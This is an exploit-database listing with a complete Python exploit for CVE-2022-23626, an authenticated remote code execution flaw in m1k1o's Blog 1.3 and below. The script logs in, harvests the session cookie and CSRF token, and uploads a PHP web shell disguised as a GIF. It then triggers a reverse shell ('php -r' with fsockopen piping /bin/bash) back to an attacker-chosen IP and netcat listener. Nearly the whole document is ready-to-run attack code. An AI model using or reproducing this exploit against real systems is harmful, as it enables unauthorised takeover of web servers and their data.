Share
## https://sploitus.com/exploit?id=PACKETSTORM:167235
# Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2022-01-06  
# Exploit Author: Malte V  
# Vendor Homepage: https://github.com/m1k1o/blog  
# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip  
# Version: 1.3 and below  
# Tested on: Linux  
# CVE : CVE-2022-23626  
  
import argparse  
import json  
import re  
from base64 import b64encode  
import requests as req  
from bs4 import BeautifulSoup  
  
parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')  
parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)  
parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',  
required=False)  
parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,  
required=False)  
parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,  
required=False)  
parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)  
parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)  
  
args = vars(parser.parse_args())  
  
username = args['username']  
password = args['password']  
lhost_ip = args['ip']  
lhost_port = args['lport']  
address = args['url']  
port = args['port']  
url = f"http://{address}:{port}"  
  
blog_cookie = ""  
csrf_token = ""  
exploit_file_name = ""  
header = {  
"Host": f"{address}",  
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"X-Requested-With": "XMLHttpRequest",  
"Csrf-Token": f"{csrf_token}",  
"Cookie": f"PHPSESSID={blog_cookie}"  
}  
  
  
def get_cookie(complete_url):  
global blog_cookie  
cookie_header = {}  
if not blog_cookie:  
cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"  
result = req.get(url=complete_url, headers=cookie_header)  
if result.status_code == 200:  
blog_cookie = result.cookies.get_dict()['PHPSESSID']  
print(f'[+] Found PHPSESSID: {blog_cookie}')  
grep_csrf(result)  
  
  
def grep_csrf(result):  
global csrf_token  
csrf_regex = r"[a-f0-9]{10}"  
soup = BeautifulSoup(result.text, 'html.parser')  
script_tag = str(soup.findAll('script')[1].contents[0])  
csrf_token = re.search(csrf_regex, script_tag).group(0)  
print(f'[+] Found CSRF-Token: {csrf_token}')  
  
  
def login(username, password):  
get_cookie(url)  
login_url = f"{url}/ajax.php"  
login_data = f"action=login&nick={username}&pass={password}"  
login_header = {  
"Host": f"{address}",  
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"X-Requested-With": "XMLHttpRequest",  
"Csrf-Token": f"{csrf_token}",  
"Cookie": f"PHPSESSID={blog_cookie}"  
}  
result = req.post(url=login_url, headers=login_header, data=login_data)  
soup = BeautifulSoup(result.text, 'html.parser')  
login_content = json.loads(soup.text)  
if login_content.get('logged_in'):  
print('[*] Successful login')  
else:  
print('[!] Bad login')  
  
  
def set_cookie(result):  
global blog_cookie  
blog_cookie = result.cookies.get_dict()['PHPSESSID']  
  
  
def generate_payload(command):  
return f"""  
-----------------------------13148889121752486353560141292  
Content-Disposition: form-data; name="file"; filename="malicious.gif.php"  
Content-Type: application/x-httpd-php  
  
GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;  
-----------------------------13148889121752486353560141292--  
"""  
  
  
def send_payload():  
payload_header = {  
"Host": f"{address}",  
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",  
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",  
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",  
"X-Requested-With": "XMLHttpRequest",  
"Csrf-Token": f"{csrf_token}",  
"Cookie": f"PHPSESSID={blog_cookie}"  
}  
upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"  
command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"  
payload = generate_payload(command)  
print(f"[+] Upload exploit")  
result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})  
set_exploit_file_name(result.content.decode('ascii'))  
  
  
def set_exploit_file_name(data):  
global exploit_file_name  
file_regex = r"[a-zA-Z0-9]{4,5}.php"  
exploit_file_name = re.search(file_regex, data).group(0)  
  
  
def call_malicious_php(file_name):  
global header  
complete_url = f"{url}/data/i/{file_name}"  
print('[*] Calling reverse shell')  
result = req.get(url=complete_url)  
  
  
def check_reverse_shell():  
yes = {'yes', 'y', 'ye', ''}  
no = {'no', 'n'}  
choice = input("Have you got an active netcat listener (y/Y or n/N): ")  
if choice in yes:  
return True  
elif choice in no:  
print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")  
return False  
  
def main():  
enabled_listener = check_reverse_shell()  
if enabled_listener:  
login(username, password)  
send_payload()  
call_malicious_php(exploit_file_name)  
  
  
if __name__ == "__main__":  
main()